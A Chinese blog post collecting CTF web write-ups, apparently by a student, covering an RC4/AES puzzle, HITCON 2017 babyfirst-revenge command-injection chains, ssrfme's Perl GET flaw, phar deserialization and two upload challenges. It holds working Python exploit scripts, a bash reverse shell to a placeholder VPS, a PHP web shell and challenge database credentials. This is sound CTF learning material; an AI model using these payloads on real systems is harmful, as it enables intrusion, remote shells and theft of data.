i春秋web刷题(持续更新)

i春秋第二届春秋欢乐赛

Hello World

题目内容:http://106.75.72.168:9999/ 进去之后只有一个helloworld的页面,扫一下目录,发现.git githack一下,看一下log,reset一下拿到源码 代码格式非常烂,找个美化工具美化一下,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
ini_set("display_errors", "Off");
error_reporting(0);
function encode($b, $c = '', $d = 0) {
$e = 4;
$c = md5($c);
$f = md5(substr($c, 0, 16));
$g = md5(substr($c, 16, 16));
$h = $e ? ($k == 'DECODE' ? substr($b, 0, $e) : substr(md5(microtime()) , -$e)) : '';
$l = $f . md5($f . $h);
$m = strlen($l);
$b = sprintf('%010d', $d ? $d + time() : 0) . substr(md5($b . $g) , 0, 16) . $b;
$n = strlen($b);
$o = '';
$p = range(0, 255);
$q = array();
for ($r = 0; $r <= 255; $r++) {
$q[$r] = ord($l[$r % $m]);
}
for ($s = $r = 0; $r < 256; $r++) {
$s = ($s + $p[$r] + $q[$r]) % 256;
$t = $p[$r];
$p[$r] = $p[$s];
$p[$s] = $t;
}
for ($u = $s = $r = 0; $r < $n; $r++) {
$u = ($u + 1) % 256;
$s = ($s + $p[$u]) % 256;
$t = $p[$u];
$p[$u] = $p[$s];
$p[$s] = $t;
$o.= chr(ord($b[$r]) ^ ($p[($p[$u] + $p[$s]) % 256]));
}
return $h . str_replace('=', '', base64_encode($o));
}
$c = "flag_1s_n0t_h3re";
$cipher = "3133g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg"; ?>

读完发现是个rc4的加密 简要分析一下,代码将原来的内容进行了处理得到的部分进行rc4加密

1
$b = sprintf('%010d', $d ? $d + time() : 0) . substr(md5($b . $g) , 0, 16) . $b;

而最后得出的结果是

1
return $h . str_replace('=', '', base64_encode($o));

那么去掉$h的部分,然后加上padding再decode一下得到原来的内容,然后再加密一次即可. 我这里简单粗暴,直接把内容放在加密部分前面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
ini_set("display_errors", "Off");
error_reporting(0);
function encode($b, $c = '', $d = 0) {
$e = 4;
$c = "flag_1s_n0t_h3re";
$c = md5($c);
$f = md5(substr($c, 0, 16));
$g = md5(substr($c, 16, 16));
$h = "3133";
$l = $f . md5($f . $h);
$m = strlen($l);
$b = sprintf('%010d', $d ? $d + time() : 0) . substr(md5($b . $g) , 0, 16) . $b;
$n = strlen($b);
$o = '';
$p = range(0, 255);
$q = array();
for ($r = 0; $r <= 255; $r++) {
$q[$r] = ord($l[$r % $m]);
}
for ($s = $r = 0; $r < 256; $r++) {
$s = ($s + $p[$r] + $q[$r]) % 256;
$t = $p[$r];
$p[$r] = $p[$s];
$p[$s] = $t;
}

$b=base64_decode("g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg==");
for ($u = $s = $r = 0; $r < $n; $r++) {
$u = ($u + 1) % 256;
$s = ($s + $p[$u]) % 256;
$t = $p[$u];
$p[$u] = $p[$s];
$p[$s] = $t;
$o.= chr(ord($b[$r]) ^ ($p[($p[$u] + $p[$s]) % 256]));
}
return $o;

//return $h . str_replace('=', '', base64_encode($o));
}
$cipher = "3133g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg";
var_dump(encode(base64_decode("g8JTV89Ds4oh5k0JRPFijAbc1Qw7HciaZfhsV5lWr+7RM9IAF9SNw9WJMEg=="),"flag_1s_n0t_h3re"));
?>

然后拿到结果

1
0000000000ff37e751ba467c59flag is in flag.jsqö=ÈÔp–³¬–>O�ê:Üï(]¥ž

发现内容flag is in flag.js 那么继续分析flag.js 格式依旧很烂,美化一下,然后发现最后有一段混淆,解一下,得到结果 重点关注解混淆的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
var Key = "7a57a5a743894a0e";
CryptoJS.pad.Iso10126 = {
pad: function(data, blockSize) {
var blockSizeBytes = blockSize * 4;
var nPaddingBytes = blockSizeBytes - data.sigBytes % blockSizeBytes;
data.concat(CryptoJS.lib.WordArray.random(nPaddingBytes - 1)).concat(CryptoJS.lib.WordArray.create([nPaddingBytes << 24], 1))
},
unpad: function(data) {
var nPaddingBytes = data.words[(data.sigBytes - 1) >>> 2] & 0xff;
data.sigBytes -= nPaddingBytes
}
};
var aesEncrypt = function(data, keyStr, ivStr) {
var sendData = CryptoJS.enc.Utf8.parse(data);
var key = CryptoJS.enc.Utf8.parse(keyStr);
var iv = CryptoJS.enc.Utf8.parse(ivStr);
var encrypted = CryptoJS.AES.encrypt(sendData, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Iso10126
});
return CryptoJS.enc.Base64.stringify(encrypted.ciphertext)
};
var aesDecrypt = function(data, keyStr, ivStr) {
var key = CryptoJS.enc.Utf8.parse(keyStr);
var iv = CryptoJS.enc.Utf8.parse(ivStr);
var decrypted = CryptoJS.AES.decrypt(data, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Iso10126
});
return decrypted.toString(CryptoJS.enc.Utf8)
};
var hint = "SSNRTPIuHLUxqtJmq8mDDPtexRU7RTjNO34tLqz+Tpw=";

发现是个aes-cbc,然后解密一下,但是发现iv未知,于是使用key作为iv 然后得到结果 blacsheep 然后并不知道要怎么处理了,不是很懂出题人.

看了别人的解法

https://xhyeax.github.io/2019/01/26/icq-2nd-happy-rec/ 别人用的git_extractor 然后diff拿flag,diff一下发现并不知道那个js的文件是真的flag,感觉出题人真的睿智...我是懒得去猜flag了...

HITCON2017

babyfirst-revenge

5字符命令执行

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

本来想法是通过\来多次执行,不过似乎并不可以,exec()每次必定是执行一条完整的命令而不可以分割,所以只能找其他的方法 想了很久并没有想出来,去看了别人的wp,看到的思路大概就是通过重定向写文件,通过构造文件名来执行命令,知道大概的思路之后我就又开始踩坑了. 自己构造构造了很久都是失败,要么需要6个字符,要么少了空格,并没有办法,然后看了别人的wp,复现的时候发现居然还是失败,最无语的是,使用orange的官方wp中的payload居然也没能写出ls -t>g的命令... 不过其实这里是踩坑了,exec的执行和shell的执行似乎是不同的,我也不太理解为什么 先给出官方wp的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
from time import sleep
from urllib import quote

payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',

# generate `curl orange.tw.twpython`
'>on',
'>th\\',
'>py\\',
'>\\\',
'>tw\\',
'>e.\\',
'>ng\\',
'>ra\\',
'>o\\',
'>\ \\',
'>rl\\',
'>cu\\',

# exec
'sh _',
'sh g',
]



r = requests.get('http://52.199.204.34/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://52.199.204.34/?cmd=' + quote(i) )
print i
sleep(0.2)

看到这里的前面部分

1
2
3
4
5
6
7
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',

在shell中直接执行结果是这样的 blacsheep 不过当我们直接curl或者网页访问之后结果又不一样 blacsheep 玄学原因,如果有知道原理的可以发邮件给我,或者加我qq或者留言都行,非常感谢 然后踩的第二个坑是shell中创建s \的文件和curl创建也是不一样的 这个本来有个payload

1
2
3
4
5
6
>-t\
>\>q
>l\
>s\ \
ls>a
ls>>a

不过也是这里踩坑了失败了,本来以为要六个字符,其实5个就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
blacsheep@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7$ curl 'http://127.0.0.1?cmd=>s\%20\'
# 返回网页

blacsheep@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7$ ls
's \'
blacsheep@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7$ sudo su
root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# >s\ \
>
root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# ls
's ' 's \'
root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# rm ./*
root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# ls
root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# >s\ \\
root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7# ls
's \'
root@kali:/var/www/html/sandbox/cfbb870b58817bf7705c0bd826e8dba7#

curl用到的payload进行urldecode后有5个字符 即?cmd=>s\ \即可创建出s(空格)文件 但是shell执行需要6个字符 即>s\ \\才能创建出s(空格)文件 注意到这些就可以很容易的写出ls -t>g这种类似的命令 能够创建这个命令的话,后续只用反过来把反弹shell的命令写入即可拿到shell 不过弹shell的时候又碰到问题,执行的命令里面不可包含/字符,所以我们不能用传统的反弹shell,而且curl的话不可以包含路径,所以这里我搭了一个docker,然后再去访问拿到shell,这里还要注意创建的文件的名称不可以重复,否则只会创建一次,就会导致命令执行失败 给个简易exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
from time import sleep
from urllib import quote

payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',

'>bash'
]

cmd='curl your_ip:your_port'
target='117.50.3.97:8001'
cmd=list(cmd)
while len(cmd)!=0:
first=cmd.pop()
if len(cmd)!=0:
second=cmd.pop()
if second in ['$', '\\', '`', '\'', '\"', ' ', '>', '<', ';', '*', '?', '/', '']:
cmd.append(second)
if first in ['$', '\\', '`', '\'', '\"', ' ', '>', '<', ';', '*', '?', '/', '']:
payload.append('>\\' + first + '\\')
else:
payload.append('>' + first + '\\')
else:
res=''+second
if first in ['$', '\\', '`', '\'', '\"', ' ', '>', '<', ';', '*', '?', '/', '']:
res+='\\'+first
else:
res+=first
payload.append('>' + res + '\\')
else:
if first in ['$', '\\', '`', '\'', '\"', ' ', '>', '<', ';', '*', '?', '/', '']:
payload.append('>\\' + first + '\\')
else:
payload.append('>' + first + '\\')

payload.append('sh _')
payload.append('sh g')

r = requests.get('http://' + target + '/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://' + target + '/?cmd=' + quote(i) )
print i
sleep(0.5)

然后拿到shell blacsheep 然后在home下面找到信息

1
2
Flag is in the MySQL database
fl4444g / SugZXUtgeJ52_Bvr

那么再去连接mysql就可以了 不过这里连接mysql是不能直接和mysql进行通信的,所以我们将和mysql交互的结果导出到文件 blacsheep 即拿到flag

infosec的方法

这个比较厉害,不过在ichunqiu的环境复现不了,因为ichunqiu的web目录是/var/www/html/但是/www/sandbox并没有进行配置,所以我们无法获取到我们导出的文件,只能对其进行操作.不过思路确实很棒,学习一下 假设我们可以访问到文件的话,那么我们可以

1
2
curl 'http://52.199.204.34/?cmd=>find'
curl 'http://52.199.204.34/?cmd=*%20/>x'

然后即可把所有的文件导出到x,下载x查看所有文件,发现特殊文件

1
/home/fl4444g/README.txt

然后用tar命令打包

1
2
3
4
curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>zcf'
curl 'http://52.199.204.34/?cmd=>zzz'
curl 'http://52.199.204.34/?cmd=*%20/h*'

这个执行了命令

1
tar zcf zzz /h*

下载之后同样发现flag在数据库,这里infosec师傅的方法就很厉害了

1
2
3
4
5
6
7
8
9
cat << EOF >> exploit.php
<?php exec('mysqldump --single-transaction -ufl4444g -pSugZXUtgeJ52_Bvr --all-databases > /var/www/html/sandbox/727479ef7cedf30c03459bec7d87b0f0/dump.sql 2>&1'); ?>
EOF
curl 'http://52.199.204.34/?reset=1'
curl 'http://52.199.204.34/?cmd=>tar'
curl 'http://52.199.204.34/?cmd=>vcf'
curl 'http://52.199.204.34/?cmd=>z'
curl -F file=@exploit.php -X POST 'http://52.199.204.34/?cmd=%2A%20%2Ft%2A'
curl 'http://52.199.204.34/?cmd=php%20z'

因为传文件过去的时候,文件会存在/tmp目录下 先创建tar,vcf,z 然后执行* /t* 也就是

1
tar vcf z /t*

拿到php文件后

1
php z

即可执行命令然后去下载dump.sql即可拿到flag

babyfirst-revenge-v2

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这个是4字符命令执行,那么我们的ls -t>g的构造就要另找办法了,官方wp是使用逆序

1
2
3
4
>dir
>sl
>g\>
>ht-

这样我们用*之后就可以得到

1
g>  ht-  sl

然后只用

1
2
3
*>v
>rev
*v>x

那么x中就是ls -th>g了 其他的差不多了 自己的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
from time import sleep
from urllib import quote

payload = [
# generate `ls -t>g` file
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',
'>rev',
'*v>x',

'>sh',
'>ba\\',
'>\\\',
'>14\\',
'>67\\',
">:\\",
'>cn\\',
'>p.\\',
'>e\\',
'>he\\',
'>cs\\',
'>la\\',
'>b\\',
'>\ \\',
'>rl\\',
'>cu\\'
]
target='117.50.3.97:8002'
payload.append('sh x')
payload.append('sh g')

r = requests.get('http://' + target + '/?reset=1')
for i in payload:
assert len(i) <= 4
r = requests.get('http://' + target + '/?cmd=' + quote(i) )
print i
sleep(0.5)

同样拿到shell,同样的方法拿到flag

ssrfme

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

这里有个GET命令,使用了一下,发现是发送请求的命令,那么显然存在一个ssrf. 进一步分析,发现可以在sandbox中写入任意文件,但是思索一番还是找不到getshell的方法 看了wp之后,发现是GET这个命令的问题 blacsheep 追根溯源,发现其实是perl的open的任意命令执行的问题 举个例子 blacsheep 而GET中有调用到open函数,也就导致了命令执行 不过要注意,ssrf请求文件的时候文件必须存在,不过这里很好解决,因为可以创建任意文件 最终payload

1
2
3
curl 'http://117.50.3.97:8004/?url=your_ip:port&filename=abc'
curl 'http://117.50.3.97:8004/?url=&filename=bash%20abc'
curl 'http://117.50.3.97:8004/?url=file:bash%20abc&filename=xxx'

其中服务器上面放放反弹shell的命令

1
bash -i >& /dev/tcp/your_vps/port 0>&1

然后nc收到shell,根目录找到flag blacsheep

baby^h-master-php-2017

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);
if (!isset($_COOKIE["session-data"])) {
$data = serialize(new User($SANDBOX));
$hmac = hash_hmac("sha1", $data, $SECRET);
setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}
class User {
public $avatar;
function __construct($path) {
$this->avatar = $path;
}
}
class Admin extends User {
function __destruct(){
$random = bin2hex(openssl_random_pseudo_bytes(32));
eval("function my_function_$random() {"
." global \$FLAG; \$FLAG();"
."}");
$_GET["lucky"]();
}
}
function check_session() {
global $SECRET;
$data = $_COOKIE["session-data"];
list($data, $hmac) = explode("-----", $data, 2);
if (!isset($data, $hmac) !is_string($data) !is_string($hmac))
die("Bye");
if ( !hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac) )
die("Bye Bye");
$data = unserialize($data);
if ( !isset($data->avatar) )
die("Bye Bye Bye");
return $data->avatar;
}
function upload($path) {
$data = file_get_contents($_GET["url"] . "/avatar.gif");
if (substr($data, 0, 6) !== "GIF89a")
die("Fuck off");
file_put_contents($path . "/avatar.gif", $data);
die("Upload OK");
}
function show($path) {
if ( !file_exists($path . "/avatar.gif") )
$path = "/var/www/html";
header("Content-Type: image/gif");
die(file_get_contents($path . "/avatar.gif"));
}
$mode = $_GET["m"];
if ($mode == "upload")
upload(check_session());
else if ($mode == "show")
show(check_session());
else
highlight_file(__FILE__);

分析一下代码,发现是个反序列化的题,仔细分析一下,首先发现check_session()中有个反序列化,不过前面有两个判断,即对data进行密钥hash然后判断,如果不同则直接die,然而我们并不知道secret,所以这里的反序列化并没有用 那么攻击点是什么呢?这里是orange的一个0day

1
php在解析phar对象的时候会反序列化metadata

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if(count($argv) > 1) {
@readfile("phar://./deser.phar");
exit;
}
class Hui {
function __destruct() {
echo "PWN\n";
}
}
@unlink('deser.phar');
try {
$p = new Phar(dirname(__FILE__) . '/deser.phar', 0);
$p['file.txt'] = 'test';
$p->setMetadata(new Hui());
$p->setStub('<?php __HALT_COMPILER(); ?>');
} catch (Exception $e) {
echo 'Could not create and/or modify phar:', $e;
}
?>

注意提前把php.ini里面的phar的readonly改成off,不然会创建失败 底层代码https://github.com/php/php-src/blob/238916b5c9b7d09a711aad5656710eb4d1a80518/ext/phar/phar.c#L609 blacsheep 当用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象中的metadata反序列化,也就能构造一个我们想要的类了 给一个p师傅的poc

1
2
3
4
5
6
7
8
9
10
<?php
class Admin {
public $avatar = 'orz';
}
$p = new Phar(__DIR__ . '/avatar.phar', 0);
$p['file.php'] = '<?php ?>';
$p->setMetadata(new Admin());
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
?>

构造出反序列化的admin对象之后,新的问题是

1
$FLAG    = create_function("", 'die(`/read_flag`);');

这里create_function没有函数名称,所以被设置成了\x00lambda_%d这里的%d每次+=1 不过这里%d会一直增大到最大长度直到结束,我们可以通过大量请求让pre-fork模式启动从而创建新的线程,这样%d就被刷新为1了,那么就成功预测了 整个攻击过程 首先运行脚本生成一个avatar文件,其中的metadata设置成要反序列化的类,生成一个avatar.gif,放到服务器上,然后upload上去 blacsheep 然后测试一下phpinfo

1
http://117.50.3.97:8005/?m=upload&url=phar:///var/www/data/bc571eef5a23ff081aa7adc9b5f43d08&lucky=phpinfo

得到结果 blacsheep 那么函数设置成%00lambda_1然后开多线程请求 blacsheep 拿到flag

第三届“百越杯”福建省高校网络空间安全大赛

Do you know upload?

进去发现是个上传页面,尝试hitcon的avatar.gif发现上传成功,然而里面有php的代码,于是改成一句话,burp抓包改后缀上传发现上传成功 blacsheep 发现居然还有个包含漏洞,不过无所谓了,查看一下2.php,发现成功解析,就直接getshell了 进去发现config.php

1
2
3
4
5
6
7
<?php
error_reporting(0);
session_start();
$servername = "localhost";
$username = "ctf";
$password = "ctfctfctf";
$database = "ctf";

连接数据库,发现flag blacsheep

2017第二届广东省强网杯线上赛

broken

进去发现jsfuck页面,复制解密,发现错误,check一下,发现少了一个],添加上再解密,发现还是报错,类型错误,并不是函数,那么去掉最后的两个括号,再解密,得到结果

1
["var flag="flag{f_f_l_u_a_c_g_k}";alert('flag is not here');"]

即拿到flag

who are you

进去发现no permissions 看下cookie,发现Zjo1OiJ0aHJmZyI7 base解一下,发现是f:5:"thrfg"; 然后thrfg是guest的rot13,那么把admin的rot13传进去然后base一下进去发现

1
2
3
4
5
6
7
8
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<!-- $filename = $_POST['filename']; $data = $_POST['data']; -->Hello admin, now you can upload something you are easy to forget.</body>
</html>

那么

1
filename=1.php&data=<?php system($_GET['a'])?>

然后访问

1
http://106.75.72.168:2222/uploads/1.php

拿到flag

1
flag{e07cd440-8eed-11e7-997d-7efc09eb6c59}